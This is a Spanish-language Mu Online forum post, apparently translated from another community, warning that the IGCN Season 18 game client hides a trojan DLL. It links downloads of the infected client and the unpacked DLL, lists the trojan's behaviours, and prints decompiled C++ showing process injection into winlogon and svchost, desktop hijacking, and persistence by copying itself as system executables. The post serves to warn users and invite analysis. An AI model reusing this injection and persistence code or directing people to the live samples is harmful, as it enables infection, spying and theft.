Autor Topic: ANALIZAR EL CLIENTE DE LA MARCA IGCN, POSIBLE TROYANO: IGC.S18.Client.Trojan (Visto 207 veces)

Hola chicos, no se debe difamar a las marcas, por eso quiero compartir con ustedes un post creado en otra comunidad mu online pero de habla Inglés, para que puedan sacar sus propias conclusiones, sin embargo si eres programador puedes compartir reportes.

ESTE ES EL POST: (Traducido al español)

Cliente ejemplo:IGC Season 18 Part1-3 Client.
Archivo troyano:wz_z.dll.
Enlace de descarga:
Cliente Completo（Muestra）:
https://mega.nz/file/fRoDgKjI#UEJMEZwtTK1qnXPoe8uJizibyiM96JsisZh9R_bEUy4
Cliente sin la carpeta DATA (Muestra):
https://mega.nz/file/fNAF3SaB#KevEeB09kqNAFhOMXvBb-IUzsnDvUXph75W94QrCyx4
Dll del troyano desempaquetado:
https://mega.nz/file/fNAF3SaB#KevEeB09kqNAFhOMXvBb-IUzsnDvUXph75W94QrCyx4

Comportamiento del Troyano:

+Control remoto de la pantalla de usuario y escritorio.
+Robar archivos de usuario.
+Inyección OS (Sistema operativo Windows) a los procesos críticos.
+Graba la actividad del mouse y teclado.
+Infecta el DNS (Resuelven las páginas web) del usuario.
+Etc.

Nota: El cliente contiene archivos dll del troyano, que serán detectados por el software antivirus. Descárguelo y descomprímalo en una máquina virtual u otro entorno.

wz_z.dll Código crítico del troyano:

Entradas del dll:

Code: [Select]

BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
hModule = hinstDLL;
if ( fdwReason == 1 && dword_1003055C < 1 )
{
++dword_1003055C;
CreateThread(0, 0, StartAddress, 0, 0, 0);
}
return 1;
}

Código C++:

Code: [Select]

char __cdecl StartServer(CHAR *Src)
{
HDESK v2[4]; // [esp+4h] [ebp-2DCh] BYREF
HDESK v3[4]; // [esp+14h] [ebp-2CCh] BYREF
struct WSAData WSAData; // [esp+24h] [ebp-2BCh] BYREF
char v5[296]; // [esp+1B4h] [ebp-12Ch] BYREF

Trojan_AdjustTokenPrivileges();
Trojan_GetUserDesktopAccess(v3);
Trojan_GetUserDesktopAccess(v2);
CreateMutexA(0, 0, Name);
if ( !WSAStartup(0x202u, &WSAData) )
{
sub_1000A970(v5);
sub_1000A7A0(Src + 256);
sub_1000D990(Src);
while ( 1 )
Sleep(0x3E8u);
}
Trojan_SetProcessWindowStation(v2);
Trojan_SetProcessWindowStation(v3);
return 0;
}

Código C++:

Code: [Select]

BOOL __stdcall EnumFunc(HWND hWnd, _DWORD *a2)
{
BOOL result; // eax
CHAR ClassName[100]; // [esp+8h] [ebp-68h] BYREF

GetClassNameA(hWnd, ClassName, 100);
result = _mbscmp((const unsigned __int8 *)ClassName, "Internet Explorer_Server");
if ( result )
return 1;
*a2 = hWnd;
return result;
}

Código C++:

Code: [Select]

char DownCtrlAltDel()
{
char v1[16]; // [esp+0h] [ebp-20h] BYREF
char v2[16]; // [esp+10h] [ebp-10h] BYREF

Trojan_SetThreadDesktop_Entry(v1, "Winlogon");
Trojan_SetThreadDesktop_Entry(v2, "Winlogon");
PostMessageA(HWND_BROADCAST, 0x312u, 0, 3014659);
Trojan_SetProcessWindowStation((int)v2);
Trojan_SetProcessWindowStation((int)v1);
return 1;
}

Código C++:

Code: [Select]

	char __cdecl WaitServer(void *Src)
{
HDESK v2[4]; // [esp+0h] [ebp-20h] BYREF
HDESK v3[4]; // [esp+10h] [ebp-10h] BYREF

Trojan_GetUserDesktopAccess(v2);
Trojan_GetUserDesktopAccess(v3);
Trojan_CopyFile(Src, 0, 1);
Trojan_SetProcessWindowStation((int)v3);
Trojan_SetProcessWindowStation((int)v2);
return 0;
}

Código C++:

Code: [Select]

int __cdecl Trojan_Inject_Entry(DWORD dwProcessId, const void *a2, const char *a3)
{
HMODULE ModuleHandleA; // edi
int v5[4]; // [esp+Ch] [ebp-448h] BYREF
CHAR Filename[260]; // [esp+1Ch] [ebp-438h] BYREF
char v7[260]; // [esp+120h] [ebp-334h] BYREF
char v8[556]; // [esp+224h] [ebp-230h] BYREF

ModuleHandleA = GetModuleHandleA("kernel32.dll");
v5[1] = (int)GetProcAddress(ModuleHandleA, "GetProcAddress");
v5[0] = (int)GetProcAddress(ModuleHandleA, "LoadLibraryA");
v5[2] = (int)GetProcAddress(ModuleHandleA, "FreeLibrary");
strcpy(v7, a3);
GetModuleFileNameA(hModule, Filename, 0x104u);
qmemcpy(v8, a2, sizeof(v8));
return Trojan_Inject(dwProcessId, sub_100067B0, 0x800u, v5, 0x444u, 0x3E8u);
}

Código C++:

Code: [Select]

char Trojan_Inject_SysCritical()
{
const CHAR *v0; // eax
DWORD v1; // esi
DWORD v2; // eax
const CHAR *v3; // eax
HDESK v5[4]; // [esp+10h] [ebp-524h] BYREF
HDESK v6[4]; // [esp+20h] [ebp-514h] BYREF
void *v7; // [esp+30h] [ebp-504h] BYREF
int v8; // [esp+34h] [ebp-500h]
int v9; // [esp+38h] [ebp-4FCh]
CHAR String1[556]; // [esp+40h] [ebp-4F4h] BYREF
int v11[89]; // [esp+26Ch] [ebp-2C8h] BYREF
char v12[200]; // [esp+3D0h] [ebp-164h] BYREF
char v13[112]; // [esp+498h] [ebp-9Ch] BYREF
LPCSTR lpString2[5]; // [esp+508h] [ebp-2Ch] BYREF
unsigned int v15; // [esp+51Ch] [ebp-18h]
int v16; // [esp+530h] [ebp-4h]

Trojan_AdjustTokenPrivileges();
Trojan_GetUserDesktopAccess(v6);
v16 = 0;
Trojan_GetUserDesktopAccess(v5);
LOBYTE(v16) = 1;
sub_10008060((int)v13);
v0 = lpString2[0];
LOBYTE(v16) = 2;
if ( v15 < 0x10 )
v0 = (const CHAR *)lpString2;
lstrcpyA(::String1, v0);
sub_10009C70(v11);
sprintf(Name, "Wait_%s", v12);
sprintf(aVipshellEventS, "Start_Wait_%s", v12);
sprintf(aVipshellEventS_0, "StopWait_%s", v12);
CreateMutexA(0, 0, Name);
if ( GetLastError() != 183 )
{
do
v1 = Trojan_FindProcessWithExeName("winlogon.exe");
while ( !v1 );
v7 = 0;
v8 = 0;
v9 = 0;
LOBYTE(v16) = 3;
sub_10009E40(&v7);
FindWindowA("Notepad", 0);
v2 = Trojan_FindProcessWithExeName("svchost.exe");
Trojan_Inject_Entry(v2, (int)v11, (int)"StartServer");
v3 = lpString2[0];
if ( v15 < 0x10 )
v3 = (const CHAR *)lpString2;
lstrcpyA(String1, v3);
Trojan_Inject_Entry(v1, (int)String1, (int)"WaitServer");
if ( v7 )
operator delete(v7);
v7 = 0;
v8 = 0;
v9 = 0;
}
LOBYTE(v16) = 1;
sub_10007A20(v13);
LOBYTE(v16) = 0;
Trojan_SetProcessWindowStation((int)v5);
v16 = -1;
Trojan_SetProcessWindowStation((int)v6);
return 0;
}

Código C++:

Code: [Select]

HDESK *__thiscall Trojan_ScreenControl(HDESK *this)
{
sub_10001E80();
*this = (HDESK)&CScreenControlProc::`vftable';
sub_10004E50(this + 3);
Trojan_GetUserDesktopAccess(this + 16);
this[15] = (HDESK)GetTickCount();
return this;
}

Código C++:

Code: [Select]

int __cdecl Trojan_CopyFile(char *Src, LPCSTR lpServiceName, int a3)
{
..................Omitted here............................
if ( lpServiceName )
{
sub_10008060();
v36 = 0;
sub_10007DC0((char *)lpExistingFileName, Src, strlen(Src));
sub_100083B0(lpNewFileName, (int)v23, "wins");
LOBYTE(v36) = 1;
sub_10007BB0((int)lpNewFileName, (void *)"svchost.exe", 0xBu);
v4 = lpNewFileName[0];
if ( v30 < 0x10 )
v4 = (const CHAR *)lpNewFileName;
v5 = lpExistingFileName[0];
if ( v26 < 0x10 )
v5 = (const CHAR *)lpExistingFileName;
CopyFileA(v5, v4, 0);
v6 = lpNewFileName[0];
if ( v30 < 0x10 )
v6 = (const CHAR *)lpNewFileName;
Trojan_ChangeServiceConfig(lpServiceName, v6);
if ( !(_BYTE)a3 )
{
v7 = lpNewFileName[0];
if ( v30 < 0x10 )
v7 = (const CHAR *)lpNewFileName;
DeleteFileA(v7);
}
sub_100083B0(lpFileName, (int)v23, "ShellExt");
LOBYTE(v36) = 2;
sub_10007BB0((int)lpFileName, "lsass.exe", 9u);
..................Omitted here............................
sub_10007BB0((int)v27, (void *)"svchost.exe", 0xBu);
v16 = v27[0];
if ( v28 < 0x10 )
v16 = (const CHAR *)v27;
v17 = lpExistingFileName[0];
if ( v26 < 0x10 )
v17 = (const CHAR *)lpExistingFileName;
CopyFileA(v17, v16, 0);
if ( (_BYTE)a3 )
{
v18 = (LPCSTR *)v27[0];
if ( v28 < 0x10 )
v18 = v27;
sub_10007EC0(v18, 0);
}
else
{
sub_10007EC0((void *)Dependencies, 0);
v19 = v27[0];
if ( v28 < 0x10 )
v19 = (const CHAR *)v27;
DeleteFileA(v19);
}
if ( v28 >= 0x10 )
operator delete((void *)v27[0]);
v28 = 15;
v27[4] = 0;
LOBYTE(v27[0]) = 0;
if ( v35 >= 0x10 )
operator delete((void *)v33[0]);
v35 = 15;
v34 = 0;
LOBYTE(v33[0]) = 0;
if ( v32 >= 0x10 )
operator delete((void *)lpFileName[0]);
v32 = 15;
lpFileName[4] = 0;
LOBYTE(lpFileName[0]) = 0;
if ( v30 >= 0x10 )
operator delete((void *)lpNewFileName[0]);
v30 = 15;
lpNewFileName[4] = 0;
LOBYTE(lpNewFileName[0]) = 0;
v36 = -1;
return sub_10007A20();
}
else
{
result = sub_10009C70(v20);
if ( (_BYTE)result )
return Trojan_CopyFile(Src, ServiceName, a3);
}
return result;
}

Etc, hay mucho más...

Tal vez alguien pueda analizar al código.

SPONSOR #1 - User Area

SPONSOR SPOT #3 (800x200) - Topics UP

Autor Topic: ANALIZAR EL CLIENTE DE LA MARCA IGCN, POSIBLE TROYANO: IGC.S18.Client.Trojan (Visto 207 veces)

mulatinos Posteado: February 26, 2023, 06:48:30 PM | Modificado: March 01, 2023, 08:00:19 PM by mulatinos

ANALIZAR EL CLIENTE DE LA MARCA IGCN, POSIBLE TROYANO: IGC.S18.Client.Trojan

SPONSOR SPOT #4 (800x200) - Topics Bottom